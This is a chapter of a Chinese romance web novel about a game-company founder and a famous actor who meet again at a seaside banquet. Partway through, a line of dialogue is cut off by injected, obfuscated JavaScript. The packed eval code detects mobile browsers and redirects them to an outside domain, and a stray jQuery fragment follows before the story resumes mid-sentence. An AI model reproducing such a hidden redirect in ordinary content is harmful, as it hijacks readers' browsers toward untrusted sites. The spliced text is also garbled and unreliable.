两人大眼瞪小眼。盛愿反应了会,后知后觉似的弯起眼角,似笑非笑点了点头,“挺能耐啊,连环计都用上了。”
“……”
卓然讪讪松手,慢慢拉开距离起身。
她牵了牵唇角,无奈放弃挣扎。
因为实在解释不清,为什么眼前忽然漆黑,偏偏摸完他后,又能眼明心亮地二度看光他……
“说说吧,这回又该怎么算?”男人低头整理浴袍,不忘催促她必须给个交代,声线傲慢又气人。
缄默几秒,卓然先把帆布包拿到手上,然后淡淡道:“手感那么差,不怎么样。”
“……”
盛愿抵抵齿尖,差点就被她气笑。
多年不见,她的这张嘴倒是没变,一如既往的刺挠人。
*
风雨渐小,海浪微歇。
卓然顺利入住8号房,顶配房型一应俱全。唯独没有她今晚最急需的物品——礼服。
原本约定,傅禹会为她这女伴提供礼服。避免崩了人设,卓然就没带自己的礼服。
然而晚11点,宴会已临近尾声。她发给傅禹和那位秘书的消息,都石沉大海。
魏祥在向她施压。
要么去求他拿礼服,要么去不成宴会、接触不到别的明星,代言的事最后还得求他。
不得不佩服,这招真是好算计。
可卓然一退再退,已踩到底线了。
去不成宴会也好,至少不会再遇到那人。
她踱步到阳台透气,凭栏惊听风浪
夜色已深,海边雾气浓郁,以至于她没注意到——8号和9号房的阳台可以互通。
真正的CEO助理,孙蓓蓓来电慰问:“老大,今晚谈得顺利吗?”
“一般般。”
卓然舍掉魏祥见色起意的刁难,只提及他失信未提供礼服的事,“他们没有合作的诚意,有物色到其他人吗?”
“我其实还想到一个人,就不知道合不合适。”孙蓓蓓分享过来一个微博链接。
卓然顺手点开,热搜第一是酷潮TV的年度盛典——
盛愿提名年度最受喜爱的男演员。
卓然倒不意外,近两年各大颁奖典礼上,他每次都是星光闪耀,万众瞩目。
不像有些演员得自己买热搜增加曝光度,盛愿的热度是粉丝实打实顶起来的。
粉丝们分分钟席卷评论区:
[救命,被帅死了!哥哥杀我]
[怪不得我找不到老公,都怪我盛哥太优秀(指指点点)]
[愿宝,你别让我闺女吃这么好!我小时候都没有]
[是谁嘴角又飞了我不说!]
……
孙蓓蓓也“以权谋私”地强烈安利:
“盛哥颜值逆天。”
“人格魅力也大,粉丝基础牢固”
“而且出道多年0绯闻,他肯定不会塌房!咱游戏绝对大爆!”
这一点,饶是卓然也无可反驳。
可惜,盛顶流的代言费都是2000万起步,让人望尘莫及。
“可跟广告公司定的日子马上就要到了,现在该怎么办呐?”孙蓓蓓焦灼不矣。
作为老板,卓然比谁都急。可谁都能抱怨,唯独她不能。
底下一大帮员工都要养家糊口,当初大伙选择信任她、冒险加入“蜜恋”这家初创小公司,那她就绝不能辜负这份信任:“别慌,还有半个月呢,办法总比困难多。”
“我要跟盛哥是老同学就好啦,舔着脸去求个友情代言。”孙蓓蓓摆烂地畅想着,“或者手上攥有他的黑料,哼哼——”
盛愿的黑料么?
那卓然手上攥着的,简直不要太多。她掐指一算,以盛愿现在的身价,这些黑料可保她一生衣食无忧。
不过,卓然从来没想过,能请动盛顶流来代言,哪怕没有先前那一遭。
对她上心时,恨不得把天上的月亮摘下来哄着、捧着。
不上心时,她不过就是他口中“一个关系还不错的同桌罢了。”
夜雨惊涛,声音噼里啪啦的稀碎。
有冷凉海风拂面,眼睛咸得苦涩。
房中座机响了,卓然顺势挂了电话。
电话中说是客房服务,需要请她从里面打开两道玻璃门禁。
开门后,见到一位服务员小姐姐,“打扰了Jolin小姐,老板交代我将这件晚宴礼服转交给您。”
她忍不住多打量卓然两眼。专业服务态度下,眼底仍有克制的羡慕。
手上小心高提着一件高领无袖的黑色连衣裙,两根细肩带遍布手工刺绣的白碎花,精致优雅,漂亮极了。
卓然没接,“现在11点8分,晚宴都快结束了吧?”
“盛老师惊喜现身,晚宴重新进入了高潮。”
服务员温柔赧笑,“盛老师”三字似在她舌尖开出一朵莲花,芳甜的意味弥散入半空。
卓然了然,如今那人无论走到哪里,都自成焦点。
但因着服务员的区分称呼,她未将这件很合心意的礼服,联系到那个“陌生人”身上。
既已止步于陌生,又何谈独家记忆?
*
宴会厅内,觥筹交错,流光溢彩。
厅门大开,男人西装革履惊艳现身。众人齐齐回眸,谁都没理由错过这惊鸿一瞥。
大伙手持酒杯围过来寒暄,盛愿化为众星拱月的存在。
他来者不拒,浅浅抿口红酒,一笑一动皆是雅痞迷人。
直到,魏祥手持红酒杯近前。
盛愿反手扣住酒杯,眉眼间尽是疏冷,“抱歉啊魏总,我今晚过量了。”
说着抱歉,语气敷衍的不像样子,装都懒得装那种。
一时间,周遭鸦雀无声。
魏祥除了是影视公司老总,还是酷潮TV的董事高层,盛愿最新的年度提名奖项正是出自酷潮TV。
在场艺人不论咖位大小,都或有剧集在酷潮TV上映,都免不得多礼敬魏祥三分。因此他为难卓然时,没人出言帮衬。
当众被落面子,魏祥神情微愠。
还有丝诧异,分明楼下才打过招呼。
热闹祥和的气氛,急转而下。
大伙面面相觑,思量如何打破僵局。
容横只当盛愿在为他平不忿,笑了笑,迈一步挡在兄弟面前,“愿子今晚刚从剧组飞回来,精力不济,这杯酒我替他敬魏总。”
其他兄弟也出言附和。
都是跺跺脚能让沪城抖一抖的太子爷。他们的面子,魏祥得给。他淡淡开口:“我也有些过量,以茶代酒吧。”
盛愿得给兄弟们个面子,勉强跟魏祥碰下杯。
闹剧潦草收场,众人散去。
兄弟们半年不见盛愿,圈着他坐下闲聊。一对弧形的黑色真皮沙发,面对面而设。聊聊这人新投资的房产,那人新购入的游艇,再聊聊盛愿新拍的剧。
等气氛热了,有人给容横递个眼色。
容横眼仁微转,“愿子,你还记得我小舅家那表姐吗?”
盛愿慢条斯理地衔住支烟点燃,想了想,“有点印象。”
“她最近换到老闵行上班,就在茗景庄园附近。你那房子空着也是空着,要不借她几个月?”
盛愿拍戏忙,房子买下后,日常的维护都是容横在管,从物业那得知隔壁的姑娘回来了,他顿时警钟大作。
虽说盛愿常年在外地拍戏,鲜少再踏足那处伤心地,但万一撞上呢?后来几人合计着,找个姑娘先住进去。以盛愿的性子,肯定有多远避多远。
谁知,盛愿撩了撩眼皮,“我就不能去住了?”
这个反应有点微妙。
大伙迅速交换个眼神,但都觉得他刚回沪就被哄到这来了,肯定还不知情。
至于入住系统被修复的事,容横倒听房务经理温吞地说了一嘴,免费升房作为答谢也算正常。而那人姓甚名谁,是男是女,他还没得空细问。
于是这会,又有人出言劝阻:“老小区设施又不齐全,你哪能去那住?”
“那他表姐一个姑娘就能住?”
“他表姐也就暂时住……”
“你已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602901|172049||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去过了。”
容横打断那人,不可思议盯着盛愿,额角冷汗微涔。
其他人也寒蝉若禁。
所有兄弟都不曾想到,他们几个当中从小最恣意张狂的人,会最先栽在女人手里。
他曾把身上最坚硬的鳞片,拿来做她的保护盾,也轻而易举就被她从内里击穿。
连同男人的自尊、傲骨,一起粉碎。
后来,但凡跟卓然沾边的事,俨然都成为一种禁忌。大伙在盛愿面前都闭口不敢提,正所谓“龙之逆鳞,触者杀之。”
所以当他们计谋被看穿后,周遭空气有一瞬死寂。
盛愿却没有预期中的发飙,意味不明地扯唇笑了下,“没去。”
众人:?
“那你怎么知……北河告诉你了。”容横自认自己没露破绽,其他知道这事的人里,唯有盛愿的经纪人安北河不在这。
盛愿眼中情绪凉下来,“哦,这里头还有他的事?”
容横被噎住一瞬:“……”
合着这厮故意挖坑等他跳呢。
与此同时,众人也越发好奇谜底,但谁都不敢再贸然开口。
盛愿懒散地掸了掸烟蒂,才在一众好奇的注视中,不答反问:“横子,你还记得上次主动请我吃饭是哪年吗?”
大伙恍然大悟,懊恼“啊呀”了声。
容横是工作狂,十次聚餐能来一次就是中奖。今晚他主动组局,还主动提及茗景庄园,可不就是自投罗网嘛!
“那你……”容横稍作沉吟,扯回正题:“接下来怎么打算?”
大伙齐齐瞧去,心再度高悬。就算盛愿不计较今晚之事,但绝不会不计较当年的事。
却见盛愿向后靠到黑皮椅背上,捏着烟送到嘴边抽了口,吐出的缭绕白烟遮住他脸,语气玩世不恭:“就一不相干的人了,爱回回呗。”
谁没有过年少无知,被人一巴掌打醒了,难道他还要犯贱地把另一边脸凑过去?
她以为她是谁?
见盛愿如此平静,大伙悬着的心终于放平,纷纷附和:
“说得对,过去的就让它过去了。”
“而且你现在身份敏感,谈感情必掉粉,就专心搞事业吧。”
“像她这种女人,以后给你提鞋都不配……”
“她哪种女人?”
盛愿突然一记冷眼射过去,“你个大老爷们在背后诋毁一姑娘,有意思?”
那人气愤瞪眼:“……”
说好的就一不相干的人了呢???
“怎么着,不服?”盛愿将烟头掐灭在烟灰缸里,下巴朝门口抬了下,“格斗房走着?”
“服服服!”那人赶忙投降。
盛愿一个能干趴一片,他敢不服么?
容横等人也是如梦初醒,心有唏嘘。
合着这位大少爷对人家姑娘是又爱又恨着呢,有气还不舍得找她去撒,就只敢来祸祸他们。真特么地交友不慎!
这时,福仔穿过人群走近,低声汇报:“哥,按你吩咐,礼服已转送给那小姐姐了。”
旁边兄弟个个竖起耳朵:
“太阳打西边出来了,有情况啊。”
“哪位小姐姐?还送人礼服了?”
“福仔,赶紧替你哥坦白从宽。”
福仔不知其中关窍,只道:“就是刚帮着会所修复系统故障的那位大神,我哥聊表谢意。”结果一抬眼,“哎?她来了!”
这是今晚的第二次,厅门大开后,所有人整齐划一暂停交谈,目光纷纷被吸引过去。
来人并非知名女星,也不是经常混迹上流宴会的世家名媛。很眼生,却很吸睛。
掐腰的黑丝短裙映衬出她姣好身材,但第一眼仍会落在她明艳浓颜的五官。
然后是没一丝赘肉的纤白美腿,灯光下,肤白如凝脂,吹弹可破。
气质清冷出尘,所带来的惊艳,足矣与盛愿之前那份媲美。
人心攒动,窃窃私语,大都猜测这是哪家经纪公司新签的艺人。
包括魏祥,他盯着那件高定黑裙,眼神忽明忽暗。